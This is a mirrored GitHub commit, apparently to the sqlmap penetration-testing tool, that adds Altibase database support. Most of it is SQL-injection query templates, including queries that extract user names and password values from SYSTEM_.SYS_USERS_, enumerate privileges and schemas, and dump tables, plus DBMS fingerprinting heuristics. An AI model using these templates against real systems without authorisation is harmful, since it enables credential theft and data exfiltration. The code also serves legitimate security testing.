Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit d227413

Browse files
committed
Adding support for Altibase
1 parent 70df6d8 commit d227413

22 files changed

Lines changed: 394 additions & 47 deletions

data/xml/errors.xml

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -210,4 +210,9 @@
210210
<error regexp="com\.simba\.presto\.jdbc"/>
211211
<error regexp="UNION query has different number of fields: \d+, \d+"/>
212212
</dbms>
213+
214+
<!-- Altibase -->
215+
<dbms value="Altibase">
216+
<error regexp="Altibase\.jdbc\.driver"/>
217+
</dbms>
213218
</root>

data/xml/queries.xml

Lines changed: 73 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -894,7 +894,6 @@
894894
<substring query="SUBSTRING((%s),%d,%d)"/>
895895
<concatenate query="CONCAT(%s,%s)"/>
896896
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
897-
<hex/>
898897
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
899898
<banner query="SELECT value FROM environment WHERE name='monet_version'"/>
900899
<current_user query="CURRENT_USER"/>
@@ -1192,4 +1191,77 @@
11921191
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
11931192
</search_column>
11941193
</dbms>
1194+
1195+
<!-- Altibase -->
1196+
<dbms value="Altibase">
1197+
<cast query="CAST(%s AS VARCHAR(4000))"/>
1198+
<length query="LENGTH(%s)"/>
1199+
<isnull query="NVL(%s,' ')"/>
1200+
<delimiter query="||"/>
1201+
<limit query="LIMIT %d,%d"/>
1202+
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
1203+
<limitgroupstart query="1"/>
1204+
<limitgroupstop query="2"/>
1205+
<limitstring query=" LIMIT "/>
1206+
<order query="ORDER BY %s ASC"/>
1207+
<count query="COUNT(%s)"/>
1208+
<comment query="--" query2="/*"/>
1209+
<substring query="SUBSTR((%s),%d,%d)"/>
1210+
<concatenate query="%s||%s"/>
1211+
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
1212+
<hex query="HEX_ENCODE(%s)"/>
1213+
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
1214+
<banner query="SELECT PRODUCT_SIGNATURE FROM V$DATABASE"/>
1215+
<current_user query="USER_NAME()"/>
1216+
<current_db query="USER_NAME()"/>
1217+
<hostname/>
1218+
<table_comment query="SELECT COMMENTS FROM SYSTEM_.SYS_COMMENTS_ WHERE USER_NAME='%s' AND TABLE_NAME='%s'"/>
1219+
<column_comment query="SELECT COMMENTS FROM SYSTEM_.SYS_COMMENTS_ WHERE USER_NAME='%s' AND TABLE_NAME='%s' AND COLUMN_NAME='%s'"/>
1220+
<is_dba query="(SELECT COUNT(*) FROM SYSTEM_.DBA_USERS_ WHERE USER_NAME=USER_NAME())=1"/>
1221+
<users>
1222+
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_"/>
1223+
<blind query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ LIMIT %d,1" count="SELECT COUNT(USER_NAME) FROM SYSTEM_.SYS_USERS_"/>
1224+
</users>
1225+
<passwords>
1226+
<inband query="SELECT USER_NAME,PASSWORD FROM SYSTEM_.SYS_USERS_" condition="USER_NAME"/>
1227+
<blind query="SELECT PASSWORD FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'" count="SELECT COUNT(PASSWORD) FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'"/>
1228+
</passwords>
1229+
<privileges>
1230+
<inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
1231+
<blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d'"/>
1232+
</privileges>
1233+
<roles>
1234+
<inband query="SELECT GRANTEE.USER_NAME AS GRANTEE, USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID" condition="GRANTEE"/>
1235+
<blind query="SELECT USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID WHERE GRANTEE.USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(*) FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID WHERE GRANTEE.USER_NAME='%s'"/>
1236+
</roles>
1237+
<statements/>
1238+
<dbs>
1239+
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_"/>
1240+
<blind query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ LIMIT %d,1" count="SELECT COUNT(USER_NAME) FROM SYSTEM_.SYS_USERS_"/>
1241+
</dbs>
1242+
<tables>
1243+
<inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID" condition="USER_NAME"/>
1244+
<blind query="SELECT TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(TABLE_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'"/>
1245+
</tables>
1246+
<columns>
1247+
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" condition="COLUMN_NAME"/>
1248+
<blind query="SELECT COLUMN_NAME FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" query2="SELECT DATA_TYPE FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND USER_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" condition="COLUMN_NAME"/>
1249+
</columns>
1250+
<dump_table>
1251+
<inband query="SELECT %s FROM %s"/>
1252+
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
1253+
</dump_table>
1254+
<search_db>
1255+
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
1256+
<blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_USERS_ WHERE %s" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
1257+
</search_db>
1258+
<search_table>
1259+
<inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" condition="TABLE_NAME" condition2="USER_NAME"/>
1260+
<blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" query2="SELECT DISTINCT(TABLE_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" condition="TABLE_NAME" condition2="USER_NAME"/>
1261+
</search_table>
1262+
<search_column>
1263+
<inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" condition="COLUMN_NAME" condition2="USER_NAME" condition3="TABLE_NAME"/>
1264+
<blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" query2="SELECT DISTINCT(TABLE_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" condition="COLUMN_NAME" condition2="USER_NAME" condition3="TABLE_NAME"/>
1265+
</search_column>
1266+
</dbms>
11951267
</root>

lib/controller/checks.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -54,6 +54,7 @@
5454
from lib.core.datatype import InjectionDict
5555
from lib.core.decorators import stackedmethod
5656
from lib.core.dicts import FROM_DUMMY_TABLE
57+
from lib.core.dicts import HEURISTIC_NULL_EVAL
5758
from lib.core.enums import DBMS
5859
from lib.core.enums import HASHDB_KEYS
5960
from lib.core.enums import HEURISTIC_TEST
@@ -888,7 +889,7 @@ def heuristicCheckDbms(injection):
888889
continue
889890

890891
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
891-
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
892+
if dbms in HEURISTIC_NULL_EVAL and checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, ""))) or not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
892893
retVal = dbms
893894
break
894895

lib/controller/handler.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
from lib.core.enums import DBMS
1313
from lib.core.exception import SqlmapConnectionException
1414
from lib.core.settings import ACCESS_ALIASES
15+
from lib.core.settings import ALTIBASE_ALIASES
1516
from lib.core.settings import DB2_ALIASES
1617
from lib.core.settings import DERBY_ALIASES
1718
from lib.core.settings import FIREBIRD_ALIASES
@@ -33,6 +34,8 @@
3334

3435
from plugins.dbms.access.connector import Connector as AccessConn
3536
from plugins.dbms.access import AccessMap
37+
from plugins.dbms.altibase.connector import Connector as AltibaseConn
38+
from plugins.dbms.altibase import AltibaseMap
3639
from plugins.dbms.db2.connector import Connector as DB2Conn
3740
from plugins.dbms.db2 import DB2Map
3841
from plugins.dbms.derby.connector import Connector as DerbyConn
@@ -93,6 +96,7 @@ def setHandler():
9396
(DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
9497
(DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
9598
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
99+
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
96100
]
97101

98102
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)

lib/core/agent.py

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -659,7 +659,7 @@ def concatQuery(self, query, unpack=True):
659659
elif fieldsNoSelect:
660660
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
661661

662-
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
662+
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE):
663663
if fieldsExists:
664664
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
665665
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -948,10 +948,14 @@ def limitQuery(self, num, query, field=None, uniqueField=None):
948948
fromFrom = limitedQuery[fromIndex + 1:]
949949
orderBy = None
950950

951-
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO):
951+
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO,):
952952
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
953953
limitedQuery += " %s" % limitStr
954954

955+
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
956+
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
957+
limitedQuery += " %s" % limitStr
958+
955959
elif Backend.getIdentifiedDbms() in (DBMS.DERBY,):
956960
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
957961
limitedQuery += " %s" % limitStr

lib/core/common.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4074,7 +4074,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
40744074
retVal = "`%s`" % retVal
40754075
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
40764076
retVal = "\"%s\"" % retVal
4077-
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
4077+
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE):
40784078
retVal = "\"%s\"" % retVal.upper()
40794079
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
40804080
if isTable:
@@ -4110,9 +4110,9 @@ def unsafeSQLIdentificatorNaming(name):
41104110
if isinstance(name, six.string_types):
41114111
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
41124112
retVal = name.replace("`", "")
4113-
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
4113+
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
41144114
retVal = name.replace("\"", "")
4115-
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
4115+
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE):
41164116
retVal = name.replace("\"", "").upper()
41174117
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
41184118
retVal = name.replace("[", "").replace("]", "")

lib/core/dicts.py

Lines changed: 19 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
from lib.core.enums import OS
1111
from lib.core.enums import POST_HINT
1212
from lib.core.settings import ACCESS_ALIASES
13+
from lib.core.settings import ALTIBASE_ALIASES
1314
from lib.core.settings import BLANK
1415
from lib.core.settings import DB2_ALIASES
1516
from lib.core.settings import DERBY_ALIASES
@@ -208,6 +209,7 @@
208209
DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"),
209210
DBMS.MCKOI: (MCKOI_ALIASES, None, None, None),
210211
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
212+
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
211213
}
212214

213215
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
@@ -219,7 +221,23 @@
219221
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
220222
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
221223
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
222-
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1"
224+
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
225+
}
226+
227+
HEURISTIC_NULL_EVAL = {
228+
DBMS.ACCESS: "CVAR(NULL)",
229+
DBMS.MAXDB: "ALPHA(NULL)",
230+
DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
231+
DBMS.MYSQL: "QUARTER(NULL)",
232+
DBMS.ORACLE: "INSTR2(NULL,NULL)",
233+
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
234+
DBMS.SQLITE: "UNLIKELY(NULL)",
235+
DBMS.MONETDB: "CODE(NULL)",
236+
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
237+
DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
238+
DBMS.MCKOI: "TONUMBER(NULL)",
239+
DBMS.PRESTO: "FROM_HEX(NULL)",
240+
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
223241
}
224242

225243
SQL_STATEMENTS = {

lib/core/dump.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -168,6 +168,8 @@ def currentDb(self, data):
168168
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
169169
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA):
170170
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
171+
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
172+
self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
171173
else:
172174
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
173175

lib/core/enums.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,14 +42,15 @@ class DBMS(object):
4242
PGSQL = "PostgreSQL"
4343
SQLITE = "SQLite"
4444
SYBASE = "Sybase"
45+
INFORMIX = "Informix"
4546
HSQLDB = "HSQLDB"
4647
H2 = "H2"
47-
INFORMIX = "Informix"
4848
MONETDB = "MonetDB"
4949
DERBY = "Apache Derby"
5050
VERTICA = "Vertica"
5151
MCKOI = "Mckoi"
5252
PRESTO = "Presto"
53+
ALTIBASE = "Altibase"
5354

5455
class DBMS_DIRECTORY_NAME(object):
5556
ACCESS = "access"
@@ -70,6 +71,7 @@ class DBMS_DIRECTORY_NAME(object):
7071
VERTICA = "vertica"
7172
MCKOI = "mckoi"
7273
PRESTO = "presto"
74+
ALTIBASE = "altibase"
7375

7476
class FORK(object):
7577
MARIADB = "MariaDB"

0 commit comments

Comments
 (0)